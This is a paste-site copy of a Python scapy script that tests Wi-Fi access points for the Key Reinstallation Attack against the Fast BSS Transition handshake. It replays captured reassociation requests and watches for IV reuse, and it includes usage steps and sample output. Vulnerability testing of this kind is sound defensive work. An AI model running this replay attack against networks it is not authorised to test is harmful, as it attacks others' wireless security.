SHOW:
|
|
- or go back to the newest paste.
1 | #!/usr/bin/env python2 | |
2 | import logging | |
3 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) | |
4 | from scapy.all import * | |
5 | import sys, socket, struct, time, subprocess, atexit, select | |
6 | from datetime import datetime | |
7 | ||
8 | IEEE_TLV_TYPE_RSN = 48 | |
9 | IEEE_TLV_TYPE_FT = 55 | |
10 | ||
11 | IEEE80211_RADIOTAP_RATE = (1 << 2) | |
12 | IEEE80211_RADIOTAP_CHANNEL = (1 << 3) | |
13 | IEEE80211_RADIOTAP_TX_FLAGS = (1 << 15) | |
14 | IEEE80211_RADIOTAP_DATA_RETRIES = (1 << 17) | |
15 | ||
16 | USAGE = """{name} - Tool to test Key Reinstallation Attacks against an AP | |
17 | ||
18 | To test wheter an AP is vulnerable to a Key Reinstallation Attack against | |
19 | the Fast BSS Transition (FT) handshake, execute the following steps: | |
20 | ||
21 | 1. Create a wpa_supplicant configuration file that can be used to connect | |
22 | to the network. A basic example is: | |
23 | ||
24 | ctrl_interface=/var/run/wpa_supplicant | |
25 | network={{ | |
26 | ssid="testnet" | |
27 | key_mgmt=FT-PSK | |
28 | psk="password" | |
29 | }} | |
30 | ||
31 | Note the use of "FT-PSK". Save it as network.conf or similar. For more | |
32 | info see https://w1.fi/cgit/hostap/plain/wpa_supplicant/wpa_supplicant.conf | |
33 | ||
34 | 2. Try to connect to the network using your platform's wpa_supplicant. | |
35 | This will likely require a command such as: | |
36 | ||
37 | sudo wpa_supplicant -D nl80211 -i wlan0 -c network.conf | |
38 | ||
39 | If this fails, either the AP does not support FT, or you provided the wrong | |
40 | network configuration options in step 1. | |
41 | ||
42 | 3. Use this script as a wrapper over the previous wpa_supplicant command: | |
43 | ||
44 | sudo {name} wpa_supplicant -D nl80211 -i wlan0 -c network.conf | |
45 | ||
46 | This will execute the wpa_supplicant command using the provided parameters, | |
47 | and will add a virtual monitor interface that will perform attack tests. | |
48 | ||
49 | 4. Use wpa_cli to roam to a different AP of the same network. For example: | |
50 | ||
51 | sudo wpa_cli | |
52 | > status | |
53 | bssid=c4:e9:84:db:fb:7b | |
54 | ssid=testnet | |
55 | ... | |
56 | > scan_results | |
57 | bssid / frequency / signal level / flags / ssid | |
58 | c4:e9:84:db:fb:7b 2412 -21 [WPA2-PSK+FT/PSK-CCMP][ESS] testnet | |
59 | c4:e9:84:1d:a5:bc 2412 -31 [WPA2-PSK+FT/PSK-CCMP][ESS] testnet | |
60 | ... | |
61 | > roam c4:e9:84:1d:a5:bc | |
62 | ... | |
63 | ||
64 | In this example we were connected to AP c4:e9:84:db:fb:7b of testnet (see | |
65 | status command). The scan_results command shows this network also has a | |
66 | second AP with MAC c4:e9:84:1d:a5:bc. We then roam to this second AP. | |
67 | ||
68 | 5. Generate traffic between the AP and client. For example: | |
69 | ||
70 | sudo arping -I wlan0 192.168.1.10 | |
71 | ||
72 | 6. Now look at the output of {name} to see if the AP is vulnerable. | |
73 | ||
74 | 6a. First it should say "Detected FT reassociation frame". Then it will | |
75 | start replaying this frame to try the attack. | |
76 | 6b. The script shows which IVs the AP is using when sending data frames. | |
77 | 6c. Message "IV reuse detected (IV=X, seq=Y). AP is vulnerable!" means | |
78 | we confirmed it's vulnerable. | |
79 | ||
80 | Example output of vulnerable AP: | |
81 | [15:59:24] Replaying Reassociation Request | |
82 | [15:59:25] AP transmitted data using IV=1 (seq=0) | |
83 | [15:59:25] Replaying Reassociation Request | |
84 | [15:59:26] AP transmitted data using IV=1 (seq=0) | |
85 | [15:59:26] IV reuse detected (IV=1, seq=0). AP is vulnerable! | |
86 | ||
87 | Example output of patched AP (note that IVs are never reused): | |
88 | [16:00:49] Replaying Reassociation Request | |
89 | [16:00:49] AP transmitted data using IV=1 (seq=0) | |
90 | [16:00:50] AP transmitted data using IV=2 (seq=1) | |
91 | [16:00:50] Replaying Reassociation Request | |
92 | [16:00:51] AP transmitted data using IV=3 (seq=2) | |
93 | [16:00:51] Replaying Reassociation Request | |
94 | [16:00:52] AP transmitted data using IV=4 (seq=3) | |
95 | """ | |
96 | ||
97 | #### Basic output and logging functionality #### | |
98 | ||
99 | ALL, DEBUG, INFO, STATUS, WARNING, ERROR = range(6) | |
100 | COLORCODES = { "gray" : "\033[0;37m", | |
101 | "green" : "\033[0;32m", | |
102 | "orange": "\033[0;33m", | |
103 | "red" : "\033[0;31m" } | |
104 | ||
105 | global_log_level = INFO | |
106 | def log(level, msg, color=None, showtime=True): | |
107 | if level < global_log_level: return | |
108 | if level == DEBUG and color is None: color="gray" | |
109 | if level == WARNING and color is None: color="orange" | |
110 | if level == ERROR and color is None: color="red" | |
111 | print (datetime.now().strftime('[%H:%M:%S] ') if showtime else " "*11) + COLORCODES.get(color, "") + msg + "\033[1;0m" | |
112 | ||
113 | ||
114 | #### Packet Processing Functions #### | |
115 | ||
116 | class MitmSocket(L2Socket): | |
117 | def __init__(self, **kwargs): | |
118 | super(MitmSocket, self).__init__(**kwargs) | |
119 | ||
120 | def send(self, p): | |
121 | # Hack: set the More Data flag so we can detect injected frames | |
122 | p[Dot11].FCfield |= 0x20 | |
123 | L2Socket.send(self, RadioTap()/p) | |
124 | ||
125 | def _strip_fcs(self, p): | |
126 | # Scapy can't handle FCS field automatically | |
127 | if p[RadioTap].present & 2 != 0: | |
128 | rawframe = str(p[RadioTap]) | |
129 | pos = 8 | |
130 | while ord(rawframe[pos - 1]) & 0x80 != 0: pos += 4 | |
131 | ||
132 | # If the TSFT field is present, it must be 8-bytes aligned | |
133 | if p[RadioTap].present & 1 != 0: | |
134 | pos += (8 - (pos % 8)) | |
135 | pos += 8 | |
136 | ||
137 | # Remove FCS if present | |
138 | if ord(rawframe[pos]) & 0x10 != 0: | |
139 | return Dot11(str(p[Dot11])[:-4]) | |
140 | ||
141 | return p[Dot11] | |
142 | ||
143 | def recv(self, x=MTU): | |
144 | p = L2Socket.recv(self, x) | |
145 | if p == None or not Dot11 in p: return None | |
146 | ||
147 | # Hack: ignore frames that we just injected and are echoed back by the kernel | |
148 | if p[Dot11].FCfield & 0x20 != 0: | |
149 | return None | |
150 | ||
151 | # Strip the FCS if present, and drop the RadioTap header | |
152 | return self._strip_fcs(p) | |
153 | ||
154 | def close(self): | |
155 | super(MitmSocket, self).close() | |
156 | ||
157 | def dot11_get_seqnum(p): | |
158 | return p[Dot11].SC >> 4 | |
159 | ||
160 | def dot11_get_iv(p): | |
161 | """Scapy can't handle Extended IVs, so do this properly ourselves""" | |
162 | if Dot11WEP not in p: | |
163 | log(ERROR, "INTERNAL ERROR: Requested IV of plaintext frame") | |
164 | return 0 | |
165 | ||
166 | wep = p[Dot11WEP] | |
167 | if wep.keyid & 32: | |
168 | return ord(wep.iv[0]) + (ord(wep.iv[1]) << 8) + (struct.unpack(">I", wep.wepdata[:4])[0] << 16) | |
169 | else: | |
170 | return ord(wep.iv[0]) + (ord(wep.iv[1]) << 8) + (ord(wep.iv[2]) << 16) | |
171 | ||
172 | def get_tlv_value(p, type): | |
173 | if not Dot11Elt in p: return None | |
174 | el = p[Dot11Elt] | |
175 | while isinstance(el, Dot11Elt): | |
176 | if el.ID == type: | |
177 | return el.info | |
178 | el = el.payload | |
179 | return None | |
180 | ||
181 | ||
182 | #### Man-in-the-middle Code #### | |
183 | ||
184 | class KRAckAttackFt(): | |
185 | def __init__(self, interface): | |
186 | self.nic_iface = interface | |
187 | self.nic_mon = interface + "mon" | |
188 | self.clientmac = scapy.arch.get_if_hwaddr(interface) | |
189 | ||
190 | self.sock = None | |
191 | self.wpasupp = None | |
192 | self.reassoc = None | |
193 | self.ivs = set() | |
194 | self.next_replay = None | |
195 | ||
196 | def handle_rx(self): | |
197 | p = self.sock.recv() | |
198 | if p == None: return | |
199 | ||
200 | if p.addr2 == self.clientmac and Dot11ReassoReq in p: | |
201 | if get_tlv_value(p, IEEE_TLV_TYPE_RSN) and get_tlv_value(p, IEEE_TLV_TYPE_FT): | |
202 | log(INFO, "Detected FT reassociation frame") | |
203 | self.reassoc = p | |
204 | self.next_replay = time.time() + 1 | |
205 | else: | |
206 | log(INFO, "Reassociation frame does not appear to be an FT one") | |
207 | self.reassoc = None | |
208 | self.ivs = set() | |
209 | ||
210 | elif p.addr2 == self.clientmac and Dot11AssoReq in p: | |
211 | log(INFO, "Detected normal association frame") | |
212 | self.reassoc = None | |
213 | self.ivs = set() | |
214 | ||
215 | elif p.addr1 == self.clientmac and Dot11WEP in p: | |
216 | iv = dot11_get_iv(p) | |
217 | log(INFO, "AP transmitted data using IV=%d (seq=%d)" % (iv, dot11_get_seqnum(p))) | |
218 | if iv in self.ivs: | |
219 | log(INFO, ("IV reuse detected (IV=%d, seq=%d). " + | |
220 | "AP is vulnerable!.") % (iv, dot11_get_seqnum(p)), color="green") | |
221 | self.ivs.add(iv) | |
222 | ||
223 | def configure_interfaces(self): | |
224 | log(STATUS, "Note: disable Wi-Fi in your network manager so it doesn't interfere with this script") | |
225 | ||
226 | # 1. Remove unused virtual interfaces to start from clean state | |
227 | subprocess.call(["iw", self.nic_mon, "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE) | |
228 | ||
229 | # 2. Configure monitor mode on interfaces | |
230 | subprocess.check_output(["iw", self.nic_iface, "interface", "add", self.nic_mon, "type", "monitor"]) | |
231 | # Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly | |
232 | # sequence of commands to assure the virtual interface is registered as a 802.11 monitor interface. | |
233 | subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"]) | |
234 | time.sleep(0.5) | |
235 | subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"]) | |
236 | subprocess.check_output(["ifconfig", self.nic_mon, "up"]) | |
237 | ||
238 | def run(self): | |
239 | self.configure_interfaces() | |
240 | ||
241 | # Make sure to use a recent backports driver package so we can indeed | |
242 | # capture and inject packets in monitor mode. | |
243 | self.sock = MitmSocket(type=ETH_P_ALL, iface=self.nic_mon) | |
244 | ||
245 | # Set up a rouge AP that clones the target network (don't use tempfile - it can be useful to manually use the generated config) | |
246 | self.wpasupp = subprocess.Popen(sys.argv[1:]) | |
247 | ||
248 | # Continue attack by monitoring both channels and performing needed actions | |
249 | while True: | |
250 | sel = select.select([self.sock], [], [], 1) | |
251 | if self.sock in sel[0]: self.handle_rx() | |
252 | ||
253 | if self.reassoc and time.time() > self.next_replay: | |
254 | log(INFO, "Replaying Reassociation Request") | |
255 | self.sock.send(self.reassoc) | |
256 | self.next_replay = time.time() + 1 | |
257 | ||
258 | def stop(self): | |
259 | log(STATUS, "Closing hostapd and cleaning up ...") | |
260 | if self.wpasupp: | |
261 | self.wpasupp.terminate() | |
262 | self.wpasupp.wait() | |
263 | if self.sock: self.sock.close() | |
264 | ||
265 | ||
266 | def cleanup(): | |
267 | attack.stop() | |
268 | ||
269 | def argv_get_interface(): | |
270 | for i in range(len(sys.argv)): | |
271 | if not sys.argv[i].startswith("-i"): | |
272 | continue | |
273 | if len(sys.argv[i]) > 2: | |
274 | return sys.argv[i][2:] | |
275 | else: | |
276 | return sys.argv[i + 1] | |
277 | ||
278 | return None | |
279 | ||
280 | if __name__ == "__main__": | |
281 | if len(sys.argv) <= 1 or "--help" in sys.argv or "-h" in sys.argv: | |
282 | print USAGE.format(name=sys.argv[0]) | |
283 | quit(1) | |
284 | ||
285 | interface = argv_get_interface() | |
286 | if not interface: | |
287 | log(ERROR, "Failed to determine interface. Specify one using -i parameter.") | |
288 | quit(1) | |
289 | ||
290 | attack = KRAckAttackFt(interface) | |
291 | atexit.register(cleanup) | |
292 | attack.run() |